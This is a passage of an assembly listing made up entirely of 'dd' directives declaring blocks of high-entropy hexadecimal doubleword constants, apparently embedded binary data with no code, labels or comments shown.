		dd 7C65C9E4h, 0C86FCA4Dh, 0AE21E20Eh, 155FD537h, 3B674231h
		dd 25F111DFh, 0E95AED2Bh, 69EE0C7Fh, 0FA3C4F75h, 492F7A3Ah
		dd 24A19E74h, 16072AF9h, 257FA590h, 5D52C39Ah, 0EB6EA695h
		dd 0DA1DC583h, 0AA4650E1h, 2B05B0E6h, 181AD62Ch, 65382ED4h
		dd 0A747C3F5h, 0C1CE76F6h, 8D5E3270h, 0A7160E1Eh, 0AF9A2CF9h
		dd 2BCAFAC3h, 3C30120h,	0D4583E0Ah, 75CAFAC7h, 4605BA3Fh
		dd 46E06483h, 7CF7440Eh
		dd 0D33E4E61h, 50A60633h, 767F5707h, 0C2DEF553h, 0D6A45F3Dh
		dd 42E1EBA6h, 0FE47008Ah, 155C2A45h, 21303C3Eh,	71C3451Fh
		dd 0C4B38CA1h, 4B0AB4E2h, 47D607C1h, 67994417h,	9DF96C28h
		dd 0B5AE32EAh, 9D3973B4h, 2BEB65DCh, 55D7A8FDh,	0C74AEB16h
		dd 0E14B7F30h, 1EA36E8Fh, 0FB0EA3F5h, 0F46FA6BFh, 0A927CF79h
		dd 0EFFF07C9h, 0A249DA91h, 0D4CD6A92h, 0D575734Fh, 58D78330h
		dd 24B2AFE4h, 0ED66C3Dh, 250A78CAh, 429990CBh, 0D403DFE8h
		dd 82471CBFh, 11B82A5Dh, 7CE97CD5h, 463BD72Ah, 20D4B518h
		dd 25BEBCADh, 0D2975D5Dh, 145A4E37h, 20E1C349h,	4C827321h
		dd 919D0BE8h, 5F54C1BDh, 88C56D72h, 1186C818h, 1118EE5Ah
		dd 6FE923F3h, 76F084B5h, 1FB1AA85h, 0B22C1275h,	0D6C09E0Ah
		dd 3DA2A772h, 0BC516A97h, 0A07142C0h, 91D2E1D6h, 0B6592783h
		dd 12FB9119h, 2B6B1C6Eh, 0E25DA158h, 6F544759h,	304C2344h
		dd 105A2D3h, 0F1A1A513h, 7A82B2B6h, 362C122Dh, 8A86B22Fh
		dd 0B338A2CDh, 0CFAE3A33h, 0F79D05CDh, 306F849Fh, 1ED961B3h
		dd 0D2251B70h, 1E806E5h, 4A7ADE5h, 418F1B22h, 7CB825FBh
		dd 6D2A7C71h, 0A18C08ADh, 0F59DF51h, 19E9C3A4h,	0C088E0D4h
		dd 487087F2h, 0A4261A13h, 828E8E6Bh, 0A4920786h, 25254071h
		dd 0C789592h, 642A72A2h, 0D929A100h, 1AF6B816h,	25141DA4h
		dd 0D8060D7Dh, 0A67B9A3Bh, 4826EE39h, 775DB2ABh, 0F5A93B54h
		dd 0D63A3A09h, 6136CC6Dh, 3A94878Ah, 93A92EC5h,	0F5D54B8Dh
		dd 0FF437688h, 0E55D8947h, 0F819B0EDh, 4B7897F0h, 0BE49BDF1h
		dd 0B1F48BE0h, 0B418FCD6h, 0B5806448h, 0F47F1266h, 0F858D6B3h
		dd 49AD66C3h, 0B5B30FE6h, 0C62F9AA6h, 1E6B5A07h, 3E418FE0h
		dd 482EF56Fh, 0FCDE0C33h, 0F6D747AEh, 0E1F84485h, 0EED94EE4h
		dd 65B2AFA6h, 0D86D60F5h, 8F1F234Fh, 5DED314Eh,	365A183h
		dd 1E86096Ch, 0AE4E6953h, 0D5886643h, 0F989FD54h, 0F62347F4h
		dd 0E383DB2Fh, 5BE5A4B4h, 6DC8CF7Eh, 1ED0CC95h,	8A4BDB34h
		dd 699FDFECh, 0AD6DA1C0h, 0D3AA8D79h, 7F13F43Bh, 0F76BD524h
		dd 0A6FAFA47h, 6F9A036Ah, 0BE8133C3h, 0DE57A1AFh, 5A006D54h
		dd 73D94820h, 0D8D40FBCh, 7F31C66Bh, 0A5BD3255h, 0B7BAB712h
		dd 0E5BFB78Ch, 0B35CC4FFh, 1AFF57DFh, 977E1F3Ah, 0FBE77A8Ah
		dd 6CEF5623h, 3BC5247Fh, 0EFE91FD1h, 7DF543CDh,	358B11FDh
		dd 0DC958530h, 46A655BBh, 0FDBC6931h, 0D6336C8Dh, 0E103924Eh
		dd 0A2725EDCh, 1743E177h, 4ECA8048h, 0A800C135h, 0EA1816BEh
		dd 59089EACh, 381AC19Ah, 98153890h, 99F31287h, 43B40C37h
		dd 0C92F35ACh, 0AA1D8697h, 615C2DC2h, 0DE16C129h, 0C66F2C6Ah
		dd 0A951C5ADh, 585C86FDh, 78924F16h, 5BE69E26h,	8A378B14h
		dd 2B1C6C15h, 3D515C2Dh, 833BE211h, 0AB5BB4AFh,	0BCEBEBA7h
		dd 9C05523Fh, 95F0DFDCh, 7B2BDE7Ah, 2C517BC9h, 2D8E41AFh
		dd 472D0537h, 0BAAE0173h, 66FC8196h, 0F8D1832Dh, 3263CC36h
		dd 0D2733A49h, 231EA605h, 19129E9Dh, 63B523DCh,	0D22A0E59h
		dd 0CE5DCDFFh, 0F7AFA163h, 6D5A7E56h, 31E0EC26h, 68C797AAh
		dd 90B43D58h, 0A4AFDE6Eh, 0D4E5DB23h, 17EA9DEDh, 0C8E803ABh
		dd 9D38AD1h, 0BFAD196Bh, 7A4CABDBh, 0DE2D724Ah,	0FCD1FB0Bh
		dd 6FA9730Ah, 4435AED1h, 0CEBD9656h, 5F899C0Fh,	0CAB28678h
		dd 0E2EE883Bh, 35C904EBh, 1456C935h, 0E1680BD5h, 8A3E22FAh
		dd 172AFD52h, 8D6B5652h, 903728C3h, 5F82FDC8h, 150B5D00h
		dd 8897CCE3h, 76B9F5F6h, 29A7E4ADh, 7529DBB8h, 39F8FF11h
		dd 446575CBh, 0ABDE9F90h, 16F81EEBh, 6C7CAFD6h,	87D079C4h
		dd 33653EA9h, 5207E808h, 51F1336Bh, 8D3A829Fh, 689B9979h
		dd 0C7E177D6h, 0DDAF801Ah, 0D6B54E3Ch, 0F6BEEC0h, 781AD53Ah
		dd 0B5AE4216h, 4ACA1825h, 25B54FB0h, 5711F31h, 1037BD7Bh
		dd 0CD197E61h, 2075134Ah, 25D5DC7h, 9FBDF9D1h, 56D59743h
		dd 91DEE5Eh, 0D2E9885Bh, 0E910F329h, 36E27BFBh,	12EA626Ch
		dd 0E2FB203Ah, 5F530A9Dh, 0A9636655h, 0DAE79B2Fh, 2624A4BDh
		dd 0E9152F98h, 9CED439Fh, 62DFDD56h, 8730CDAAh,	679E64D3h
		dd 312A2746h, 94E1F568h, 989458EDh, 0F13C86CFh,	13B0CDF7h
		dd 0E70685B2h, 0B05293DFh, 89C2BAC7h, 88F5D55h,	55A5FB22h
		dd 5D312200h, 0EC4CDACEh, 404CDABCh, 9DE3BD76h,	471DEADBh
		dd 48E2D726h, 0DEBD3FDCh, 5B0516F1h, 0BE3BD516h, 989EAFBBh
		dd 0A7C77AD9h, 10EF53FFh, 3E3BD477h, 0F8EF549Ah, 0D1DEAB87h
		dd 0F1DEB536h, 0A3BD7159h, 0E3BD5A79h, 0BDBF8528h, 0F071DEA7h
		dd 0BBC77AD6h, 5F1DEAF3h, 9C77AE4Ch, 456D79FEh,	61F1DEB8h
		dd 30E3BD59h, 6AA09D45h, 0BD59F93Eh, 0F1552CE3h, 867ACA6Fh
		dd 0AE281CB2h, 0EF5638ADh, 8E5AA768h, 536F8B53h, 0C354FBD4h
		dd 29EAD497h, 0CFF9FACAh, 0D3DF1DEBh, 0EA5307F7h, 37A8871Dh
		dd 77AAEF27h, 1370A39Ch, 2DDEF955h, 3DC88EF5h, 12AA2CD2h
		dd 6EABF3C6h, 1919E63Dh, 662A8D3h, 359518AAh, 35EC878Fh
		dd 0F804F1E7h, 0BFF72E2Ch, 0AEC2313Eh, 0B9E1242Bh, 7340A019h
		dd 1F8BFA71h, 0FC91093Ch, 0ECDD40DCh, 0AAE855EEh, 0E2E54466h
		dd 81826E9Ah, 0D83E4E0Eh, 48467D87h, 1368E828h,	6E833F03h
		dd 39795B4Ah, 769A74B6h, 0C110E830h, 0C115300Ah, 96E213AAh
		dd 95018C08h, 16340271h, 120EFABEh, 2B740892h, 0F6269B70h
		dd 0E61F049Fh, 53C210B0h, 0A2C28244h, 0F833162Eh, 829453BFh
		dd 2D92B035h, 0D613B718h, 0CEA82B9h, 0DAC2C63Dh, 0D1D04B0Ah
		dd 59FDDF4Ah, 22BF3167h, 280678B2h, 0AA82BC84h,	0AD64D2C8h
		dd 0CB86522Ah, 0B109F5Fh, 2979C53Eh, 39956F68h,	3622463Dh
		dd 0FA336B5Ah, 225CB5E0h, 6AAC61BDh, 245541FBh,	1DF8B0EAh
		dd 732D366h, 2A21433Bh,	5FE96D2Bh, 48FE83A8h, 7F30D55Ah
		dd 3475125Dh, 0E61F9EB9h, 96113D32h, 4EBB4A84h,	0A7109FCFh
		dd 853F413Eh, 9CC27F08h, 0C2F03EBAh, 0D128D133h, 0CCE27131h
		dd 0E6AE9ADFh, 0FB41BC74h, 74E794A8h, 0D34D972Fh, 89F9D2AAh
		dd 9FBECDB0h, 6712B3D8h, 582DB8B0h, 41A4682Ch, 89F4D8ABh
		dd 871DE54h, 0D246DA7Dh, 51D911B4h, 9F0F2E93h, 35EB2644h
		dd 8728C11Ah, 0C9E7E425h, 0CA63A472h, 0CE52AA89h, 0A0B5A176h
		dd 595478D3h, 0F16EA07Bh, 27D3C42Dh, 0A7141637h, 83054E2Dh
		dd 0C9DCBE11h, 0C55B0AAFh, 2609F65h, 0F81929DBh, 4A319A69h
		dd 5B8AD27Dh, 0B88C5343h, 5B39A7CEh, 0E7D748E6h, 74BCFA8Bh
		dd 6F571115h, 8C36D973h, 5A29F4FEh, 8E1F60E6h, 0C7C389B0h
		dd 0FB71CD19h, 6222DA72h, 4795C507h, 9B21406Fh,	1A3A7218h
		dd 0F4400F0Dh, 4F468A06h, 63B9F5CAh, 26C9902Ah,	3A81229Ch
		dd 0A66CE4EDh, 0E9BFAA9Eh, 0ED53D46h, 0DA7A8DE9h, 8769EA08h
		dd 0D441CF7Ch, 4EAFAF93h, 910A476h, 0D3ABB3E5h,	28781ACFh
		dd 4D19C7A9h, 0E6B5A027h, 728324CEh, 0C10F2ABCh, 0B8A214F0h
		dd 0F362D4BAh, 32D58C4Dh, 64B502FEh, 0C8A2D424h, 4C82DF84h
		dd 33A994F8h, 6FA9773h,	9462AAFAh, 5E309C3h, 5DFD8729h
		dd 38451988h, 4627C4B8h, 40D81B49h, 0D460BC37h,	50D9059Bh
		dd 0EBF4989Fh, 78832484h, 5A84CA5Eh, 716A2BA6h,	5A8DFFF1h
		dd 0E9D5D024h, 0C9025B45h, 0DE6BF2D8h, 5FFFB6BAh, 8C5362F4h
		dd 41EB2A48h, 0FAA1D230h, 629C430Fh, 2BA48174h,	0EB78C500h
		dd 34C62885h, 0C29B179Eh, 0C942E82Dh, 9BCAF174h, 7DF037D2h
		dd 2EE39409h, 80363949h
		dd 0CA0D9C72h, 0E39414B1h, 871CA025h, 0C56805Fh, 500BB0Fh
		dd 0A48883D8h, 2DF43E65h, 0F0E681A1h, 6889FFE5h, 0B7011F0Ch
		dd 0EEBA4DECh, 0ACA17FE8h, 0CC4D040h, 3CD85BA2h, 4AA9192h
		dd 0B48B361Eh, 68F52C33h, 0EEAABA67h, 21574563h, 9381AD68h
		dd 5C4532B3h, 0D5713125h, 0FD2B88AEh, 43B12B15h, 22FD8044h
		dd 0D32AB881h, 30BCE115h, 9F419F76h, 0A8711B2Fh, 4A95A77Bh
		dd 0C062210Dh, 0FD8B0708h, 0F5A8CED6h, 0FE563A95h, 9FAA990Ah
		dd 6B56733Ah, 0AFE96703h, 8962264Fh, 0A75DFB76h, 0A5B9047Fh
		dd 75F46223h, 44BA128h,	40B60C86h, 63E9485Dh, 0CF28CD12h
		dd 83E9EDF9h, 79BEC369h, 92A3440Ch, 133A095Ch, 38350424h
		dd 257D0CDAh, 339CD07Eh, 0E5689BDCh, 0B922CEECh, 0E3E2C12Ah
		dd 0EAF8E776h, 0FFA7CD4Fh, 65FDE231h, 0A7FE606Fh, 0FB06D10Bh
		dd 75D717B3h, 0BE3AD5D6h, 0D699D1F1h, 0EBFA89E6h, 0FAD1A2A0h
		dd 0BABABF1Dh, 0F9DAA594h, 47F786DCh, 0F75F4344h, 97376C1Ch
		dd 70271D07h, 0EDDAF9ACh, 0B33AC251h, 383F77B4h, 4DDF14EEh
		dd 66ACB3A1h, 0D3031E27h, 6E07481Fh, 4747F72Eh,	63D2F96h
		dd 0EA2D2E64h, 0D3F6C571h, 0EAB43854h, 0EEB4FA1Bh, 6ECD7C0Ah
		dd 44BE1F9Ah, 456D0C6Bh, 0FA8B8854h, 6D4F2323h,	195A99A0h
		dd 20D55C40h, 8ED0C8CFh, 0CF2848ADh, 46FE839h, 0FD25A9E9h
		dd 0D49547E8h, 0E5E9FB11h, 0EEB23F49h, 2E3AA3AAh, 6FB51AD2h
		dd 0BD03DC43h, 0AAA3DA7Ch, 8E51BF2Ch, 6D7CD597h, 23FEDD28h
		dd 0DF398139h, 59B72656h, 3E63D5B7h, 0A7468ABFh, 0A3A4C53Bh
		dd 0CE29948Ch, 25B4347Eh, 0A1B105h, 0E103003Ah,	59EDED46h
		dd 489F1C1Fh, 8EF2CA23h, 0B3AFA785h, 6B32C193h,	7E79488Eh
		dd 0B877B95Eh, 97E7C8C7h, 68D1AFE9h, 0EA753065h, 4BDAF2D4h
		dd 0E87F06A6h, 46C137AFh, 0B9FF64F8h, 0C8774B91h, 0DA732A86h
		dd 0FA0A6720h, 0BB1AD622h, 0AEA95611h, 0DFBEDF7Bh, 968423BFh
		dd 0F2D35EA2h, 14759D3Dh, 7A11E742h, 498DF3AFh,	9723B3FEh
		dd 2B52B3FEh, 753CB516h, 0BA815B04h, 130860CAh,	931A7A1Bh
		dd 4C30F0F5h, 0ED082A25h, 0C35D09E4h, 436A7873h, 5138E6A5h
		dd 3C9E4C19h, 1BCAFAD9h, 0D32643B5h, 13915984h,	42E76B95h
		dd 0B09A7E19h, 0A30A1199h, 0D96F6DD6h, 860E72EBh, 5E93C3BCh
		dd 0C17FCA85h, 0CB99C5C9h, 0A51B38DEh, 13EBA939h, 24D3B475h
		dd 736FAE73h, 97BC84CEh, 45FF8524h, 0D50F6A1Dh,	6C5134F0h
		dd 64FFB065h, 0B9C4F888h, 0E4860C8Fh, 6E39AA7Fh, 934344F6h
		dd 0D2F5D0E3h, 0C8777948h, 0B04B3289h, 8653C882h, 0FFDE8665h
		dd 0E2B51288h, 0D7D562E3h, 714EBD6Ch, 0C5FA3331h, 49DA8565h
		dd 749B2BB0h, 0C505E576h, 0F38F30AEh, 0A04D2E1Ch, 60B8C17Eh
		dd 4C2047CBh, 0C8469EF2h, 665A81Ah, 0AFBB1364h,	3E928A73h
		dd 1EFE90B1h, 8281CE9Eh, 6E6D90BDh, 0BE20FAEAh,	0F8827C11h
		dd 33CCAA1Fh, 3CD8E42Dh, 17F88CAFh, 717A47EBh, 0C7413642h
		dd 51A2801h, 2B0736ABh,	9A383476h, 38355FC0h, 0E2D6A44Eh
		dd 95D6B4Fh, 43346F0Ch,	73EBEEA8h, 380B5D5Dh, 0B496915h
		dd 0D6592918h, 7D2313D2h, 0A84593C8h, 0DA1424A6h, 0E0D81344h
		dd 94050330h, 0FDC99CD0h, 7FF6A45Fh, 283BE9CFh,	77815A5Ah
		dd 0CA3A7DF8h, 15389CD2h, 5FD32B56h, 0C9BAB15h,	0CABF0DA8h
		dd 0A1BF36AAh, 4ECAE86Eh, 5073BA6Bh, 5AC1D6EAh,	1716723h
		dd 0E82DEA2Bh, 847A8AAh, 0A77FB073h, 0BEB73997h, 0A9B09DFEh
		dd 3668BA98h, 59FFE357h, 0F3DA50C4h, 17EB626Eh,	0F4026EF2h
		dd 0C419B670h, 7866E9DAh, 3D72E883h, 4C97D771h,	34E9D319h
		dd 0E38267D7h, 4E6098C3h, 29290F3Dh, 0A842181h,	563128Bh
		dd 55BC3A2Bh, 0A735E77Ah, 0F7FFD19h, 0C0D183C4h, 18EFFF3h
		dd 0BD10E4Eh, 0ECA4FD8Bh, 0FA5D55C7h, 0C91DDBD1h, 9E451689h
		dd 9606B5CFh, 10F21F3h,	0EEEBF134h, 3A072626h, 57DAFA74h
		dd 5FD3BE19h, 2BECC16Ch, 24096770h, 0AD5F4575h,	131EF09Eh
		dd 6495DA4Ch, 6343361Eh, 75BA2AF5h, 0A20CEEA0h,	773412D8h
		dd 9899AB9h, 4A2E71D4h,	4E65CB73h, 2C934056h, 8CCE32BEh
		dd 0F8A76D2Bh, 0A41661FDh, 0E484E223h, 0C940E77Fh, 0A3F622Ch
		dd 0FEC73FF0h, 4B1067E8h, 64AA0B39h, 9A32AE49h,	3691364Dh
		dd 0FEA77243h, 0CC37C988h, 38A32AE5h, 1D1D4C3Ah, 0E0D5131Eh
		dd 0CA0CB4E4h, 0EC14ED35h, 0E7CB98DDh, 46C8077Ah, 0D6CDECA0h
		dd 0C5E63B95h, 0C5820ECh, 686D4A86h, 0F5C4A3C6h, 0E18BC2EEh
		dd 3620ED32h, 28045272h, 201E1575h, 0C8AB3F61h,	5CA9190Eh
		dd 9C18C267h, 0F1976F8Ch, 9F9E2AEDh, 428C4E6Bh,	0EC317F0Dh
		dd 6BC57CB0h, 5A26D664h, 966D99A4h, 72D11E38h, 1D941061h
		dd 0BB5B828Bh, 0D6495886h, 0D953EC2Dh, 8639860h, 473F150Bh
		dd 0D2B1BF8Fh, 3168459Fh, 1A6E7749h, 903F223Dh,	5D7CE863h
		dd 921DE1F2h, 0B39DAD90h, 5384DE9h, 5116B636h, 329AAA09h
		dd 0E6B2A5F1h, 59BBE75Eh, 0B12F38D5h, 2FB2592Fh, 8F8E17EDh
		dd 0AE27F557h, 95B4A2CAh, 0B6E3ADFDh, 4B8E9C2Fh, 0D1FB46F2h
		dd 0FEC0B2D2h, 0C1A9A3A0h, 74DA6871h, 60B810D0h, 1C706EAAh
		dd 0F1D0E42Bh, 4A03FE0Ch, 8D85229Bh, 84A2AD43h,	25C00DA9h
		dd 8AC1B6F1h, 0D5D3B608h, 0E61344DAh, 5CC4D7D1h, 0F5B0BB17h
		dd 9B174566h, 0DAC1A1E2h, 0DEBF8B54h, 0EF8F4742h, 0DC9C54A8h
		dd 0D6CD321Bh, 0C39A04A6h, 0D4E84ADFh, 3BAF022Fh, 0AE655F9Ah
		dd 0C7E10BC5h, 0CB48BCA5h, 0E6929F35h, 35ADCAFDh, 2E79148Bh
		dd 3C33F43h, 0AA5F1FC5h, 0FDF1B22Ch, 5CC9C458h,	0A7E814B6h
		dd 226FF629h, 79ABC72Eh, 5B036604h, 0DC9E216Ch,	40BA1D12h
		dd 0EA4A0DBFh, 218BBBDCh, 17DE9DCEh, 0A2C025B4h, 0B968E6BCh
		dd 0E1F3592Fh, 8EBB0C76h, 0A5659C93h, 974F8D2Ch, 5C1FAEBBh
		dd 0A4BBA806h, 22BE9098h, 0A6C902DAh, 39123C32h, 7C2D2ECBh
		dd 0B37FD116h, 0CA55497Eh, 0BDCE168Fh, 0A1842CA8h, 596332CFh
		dd 0F3EADB22h, 0A5ABBBAAh, 0C620F1D3h, 60420967h, 607F662Eh
		dd 0DE9DE830h, 0E1C4AF2Dh, 29CCA412h, 0CA1F7B3Eh, 0BA2CAC00h
		dd 2A810513h, 0DFF52264h, 5640F4E6h, 8C61891Ah,	0D802307Eh
		dd 0B2A5EFB3h, 58AD1C84h, 9CB47DCEh, 0E8E23A3Eh, 219F65BCh
		dd 57B6AE6Eh, 899B70AAh, 543DBC00h, 0B5BED514h,	69F07DD7h
		dd 0C0EF7DE0h, 0ECDB3780h, 0C6FFEA4Dh, 0F7BC5F7Bh, 0B9DBEFA5h
		dd 7EBDE7ACh, 0B5BC3E4Dh, 0E24C6FF3h, 0FF34B4A8h, 826C56BBh
		dd 0CABAB168h, 4BE79862h, 4AC66B8Fh, 0AE003523h, 6A70C2E4h
		dd 1C568F5Ch, 0FAE70F7Bh, 0F5CD6EFEh, 4DCB85A2h, 0F6EB4FD9h
		dd 163C051Ah, 0B950CB97h, 9CA4CF1Bh, 931A6371h,	0D2B5D545h
		dd 8A9519Eh, 383280FEh,	60B375DDh, 331D647Fh, 65EA1E14h
		dd 2D927B7Ah, 255E73BBh, 14DE029Dh, 60DB3BB1h, 3E87FF8h
		dd 0DEF5651Ch, 1268F807h, 613AC657h, 84389D92h,	5ED7044Eh
		dd 723713A0h, 3417A427h, 2D28F8F8h, 311F05DBh, 945E41BBh
		dd 0FE9DDB4Ah, 7CDBF4FAh, 0DDCDE6A7h, 4066BEEBh, 9B844D92h
		dd 0F90954F0h, 0FF9F2AECh, 6952F4EBh, 93E65303h, 0C8B6AF1Ah
		dd 0E55E3405h, 0EB98E473h, 7242A525h, 0F0039D82h, 8CEF3FA8h
		dd 71C90A9h, 3C8E2525h,	0B209234Dh, 0B075B08Bh,	76BCB0EFh
		dd 36B8752Dh, 37AD8784h, 5BEDEDBEh, 0C2C355A9h,	8A75AC03h
		dd 22D5E446h, 40C79DC1h, 254EE6BBh, 4EFA08F0h, 560C9C88h
		dd 4EE91DDCh, 449B8F2Bh
		dd 0E02EF43Dh, 2B421FC0h, 15DC16D1h, 0F39C1654h, 0B8DBAD5Ah
		dd 77B6EB29h, 0B3D8296Fh, 0E0B2AD34h, 589AF794h, 0AB8A41DCh
		dd 218272CAh, 706B6EB0h, 0FAF1CDBAh, 5A6C1174h,	0BCB29378h
		dd 1841EF36h, 0F78EF0ADh, 0B706E718h, 0E9FA4EC2h, 32181A94h
		dd 9A2A5DF5h, 0C343B9D2h, 0E8486DDh, 50EE64Dh, 0F943A2B7h
		dd 9AD6F072h, 0C4C530DFh, 4687DC19h, 44E5132Bh,	0A333BDA3h
		dd 6BEEA33h, 0E2B606DEh, 0EFCA89F5h, 0AA59435Eh, 0B3EDDD72h
		dd 0CA46D338h, 0D6E23784h, 615683B5h, 65311B9Ah, 0E0A97D7Bh
		dd 0E8F61F47h, 0AB803EEDh, 0F76CF0F3h, 51685909h, 2E60D0ACh
		dd 50B12FB4h, 9A9378AEh, 0E2ED5F0Bh, 14CEF426h,	3A221152h
		dd 0C9D70554h, 0A14B7A10h, 5AB10A6Ch, 0C3D0053h, 8ED0480Fh
		dd 6A5AEEE9h, 1F98ABEFh, 0C587EC91h, 0FDA14C79h, 0EF468DFDh
		dd 0BD5FBC88h, 0DF4E34Ch, 74E225C1h, 91784D7Eh,	3C2B53Ch
		dd 0F51C839h, 9519DCBDh, 2525D6FAh, 52AEBAC0h, 9EA9C9B6h
		dd 0FF141E04h, 18E061A2h, 1360CBF0h, 0DC1B1905h, 1B5EA195h
		dd 0F51FB5CCh, 0B4081824h, 0F1574D8Ah, 3A0ED25Eh, 7BF148F5h
		dd 88E4F294h, 2B8932BDh, 0DE68C3F8h, 0A82B8668h, 0E29F53E7h
		dd 0FC25268Dh, 0F02314Eh, 7C668833h, 9EF7C8C4h,	1B370416h
		dd 52E2165Bh, 528A0DD0h, 0E7007F7Ch, 1B29837Bh,	5560A9C2h
		dd 60D1C087h, 5F9E5A3Fh, 0DE204B01h, 88279001h,	0A9D8779Ch
		dd 48ED5273h, 36862E4Fh, 8905760Fh, 7595C31h, 0A44D8E32h
		dd 0FADE4F70h, 0D7BE53AAh, 7CD6B1h, 532C60FEh, 2EADBA79h
		dd 1C6E0D6Bh, 0AB0BD36Ah, 0DFBCB2F3h, 5031313h,	0C362838Dh
		dd 6FA9007Eh, 0C493232Ah, 5630BFE1h, 971E318Eh,	1B1A9E21h
		dd 6CFAF71Fh, 111771Eh,	0B575B8B0h, 0BA7341BCh,	32D4BB0Bh
		dd 8F4FFC42h, 0AE162E5Ah, 642A5A84h, 8B51E32Dh,	1DE16A99h
		dd 57D5554Eh, 3735A26Fh, 93B0A3DAh, 0DDDECE18h,	99295700h
		dd 749240B4h, 0B965A316h, 0B7EB940Ch, 0AFBACE46h, 6DF1FC43h
		dd 6FC5AE26h, 0B70F86DFh, 2C859C3Fh, 37D30879h,	0CEEBF7B3h
		dd 9E777E1Fh, 0B5691539h, 800DF1A3h, 932EF85h, 0CEEAC179h
		dd 0B79346E8h, 0CCC4F56Fh, 0D1F2EC55h, 67A51163h, 36C31179h
		dd 61E6748Fh, 5BE5AB11h, 19DB9D35h, 0A58AB303h,	0AE65A3F6h
		dd 0A79D41B8h, 594676F6h, 1CEE24C6h, 0C7D4D787h, 2AB21168h
		dd 0E37E7822h, 0BA8B6E2Fh, 6C8E3945h, 3CDF8587h, 0EC5E5D13h
		dd 3F6FEBAFh, 3ABF7F6Dh, 0B19F52EFh, 0FAB9B970h, 83A5B8ECh
		dd 3FE6CFAAh, 0DAEEB162h, 4AFF1A1Fh, 0A68BFBC8h, 1797BFF0h
		dd 0A6BB0B19h, 343AFDA4h, 0FC29A4A3h, 7EA92105h, 53781F05h
		dd 0E0F6BE83h, 737736CCh, 50A9FB39h, 0E19D15C4h, 99A2A311h
		dd 24B2DAD9h, 0C4953F82h, 448EF1F1h, 0DF1FF98Ah, 0D2B36473h
		dd 90050BE3h, 0C1AD8BBCh, 0E7BA8A95h, 6908B80h,	71485C67h
		dd 62206137h, 4EAF3F8h,	0F425F9C3h, 7E25ABF3h, 0A53A2815h
		dd 2B2E343Dh, 5D45FD46h, 38EDB1DFh, 2B017C7Eh, 58B85D6Fh
		dd 6B5A5A5Ch, 0D6D131CEh, 2B0672EAh, 699B315Ah,	4AC5496Fh
		dd 47E4A94Bh, 0EAA58DD5h, 533A1D4Ch, 2518B0EFh,	939AA685h
		dd 9B8ACA89h, 2AD34BE6h, 0BBE934CCh, 1B269CF3h,	0DE3B78DBh
		dd 0B6026CA1h, 3A4059B1h, 0A7367CCDh, 837DAC4Bh, 4B08DAF5h
		dd 58DEE83Fh, 0BA6C77CEh, 66B59076h, 57032E0Bh,	0DEF58D77h
		dd 16EDAEEEh, 0D85EE453h, 1E0064ADh, 22B570E3h,	5FD39FA6h
		dd 7AC0063Ch, 68E9C889h, 0DCC02274h, 79C6135Ah,	345A1F3Ch
		dd 5A1A8B3Fh, 0F04BED40h, 0C08AB2FCh, 3C0D68D3h, 0FC79B713h
		dd 5A25C7EFh, 0AF728EBBh, 3C6490C5h, 0C31EA964h, 8E340D65h
		dd 49D6FE3Bh, 2D0C58F5h, 0CBFDDC56h, 52A92F52h,	0BDE9CC50h
		dd 0A950E54h, 740CF22Fh, 380397CFh, 737AADF4h, 0D4CB9BEBh
		dd 8B3DC473h, 167757C8h, 2F4C6EDBh, 0C40FD7F5h,	0A44BB2BDh
		dd 1B38ACB1h, 9E3C209Bh, 54A546ABh, 12E0C7A5h, 4357BEF3h
		dd 7D170DF6h, 6FAE1F5h,	70F3B3B8h, 11A53A5Dh, 85024E68h
		dd 65D4FC62h, 0A6932486h, 81E855F5h, 6D4A87C8h,	0D1390C33h
		dd 55787F89h, 5F539A34h, 0B0E0595Eh, 0FE7F022Ch, 45CAB255h
		dd 0E7EAFD4Ch, 997C6E70h, 0EBEE915Fh, 8EDF12E7h, 48E11D04h
		dd 4E4D7E57h, 9A2DA6EFh, 9DBACEEAh, 0A1D1DEE5h,	0C557F56Bh
		dd 3AA5C0D6h, 42878641h, 0DE70745Bh, 1779C0AAh,	73E97730h
		dd 0B80D87E2h, 0BD70EA2Bh, 77CF551Ah, 0B921A15Fh, 6F4F832Ah
		dd 0CF53DFC1h, 54977C2Bh, 0E3B8BCF9h, 2443860Ah, 6A6C2538h
		dd 1418348Eh, 0B7F0425Ch, 0A3B6B745h, 0BA8B80E7h, 9EB1D132h
		dd 7B010937h, 8E7958BAh, 22E99A9Fh, 95E261D9h, 0F20DE67Ah
		dd 4779862Ah, 0D74C4A10h, 330901B5h, 2954B136h,	0EE04E5BDh
		dd 0B432AA54h, 111EC05Ch, 96ABD736h, 0F503B76Ch, 0A17C948Ch
		dd 0FA1B52Fh, 34CB192Bh, 9E33842Ch, 1242EFC2h, 9F0F454Ah
		dd 511F2E69h, 2D85E57h,	9C6EA6CBh, 1EAF2259h, 0EB694F3Eh
		dd 220711A4h, 0B6018ECEh, 146900C3h, 3F48E247h,	3CBDCC49h
		dd 0EB080A61h, 9A39094Dh, 0A72ED93Ch, 0B037AE48h, 0B32A9CBFh
		dd 39624204h, 0A5BBECD9h, 5ED55832h, 4C2D38EBh,	0ABE4E81h
		dd 0A244B2E5h, 37597F11h, 0EE7EF1Ch, 331DB301h,	13295BC6h
		dd 0B47CD191h, 0C1046DC0h, 549E1FC6h, 0FAB790B0h, 0DE0904AFh
		dd 83ACF151h, 0ACF13BC4h, 1826C1EEh, 0DF527BB9h, 443E8F67h
		dd 40892CFBh, 1DC4B125h, 25EBD27Ch, 0C144A2C6h,	387DB193h
		dd 91CF86AFh, 0E91DA721h, 0AAD5EF46h, 125B2651h, 0CC52B8AAh
		dd 0D22A84Ah, 0B684455h, 0E1FC784Ah, 2061AE0Eh,	0FEF260D5h
		dd 27132F20h, 52E16250h, 0F0A12231h, 0F5F8500Fh, 0D4986027h
		dd 0B79DBA6Dh, 7D800C68h, 70F5FCC3h, 32C6E885h,	8109EEB0h
		dd 270F28BDh, 0F2CD7D07h, 0D0552469h, 8DF3938Eh, 0B4C618C7h
		dd 0A94A4F36h, 4DAA6E34h, 68477C34h, 506C0A15h,	652CCCC1h
		dd 0FCADA20Bh, 756BCE12h, 0B289A0C9h, 54AE4F40h, 5D263D24h
		dd 0C34915E1h, 0C125BFAh, 0ABF8E7EBh, 5EF60FB6h, 0F4509143h
		dd 5B06C638h, 0A820EF7Dh, 0A2DFD9DBh, 0A6DFD9DBh, 0BF0F9FBFh
		dd 82315790h, 0BC635D4Eh, 4EF1529Dh, 0FEC00680h, 0F5B3C766h
		dd 0BED88B55h, 1FCE1B17h, 1A272A4Dh, 0D34C5E68h, 0C5953681h
		dd 8C157A55h, 6B599448h, 0ED66932Eh, 7636906Fh,	0F027FC0Dh
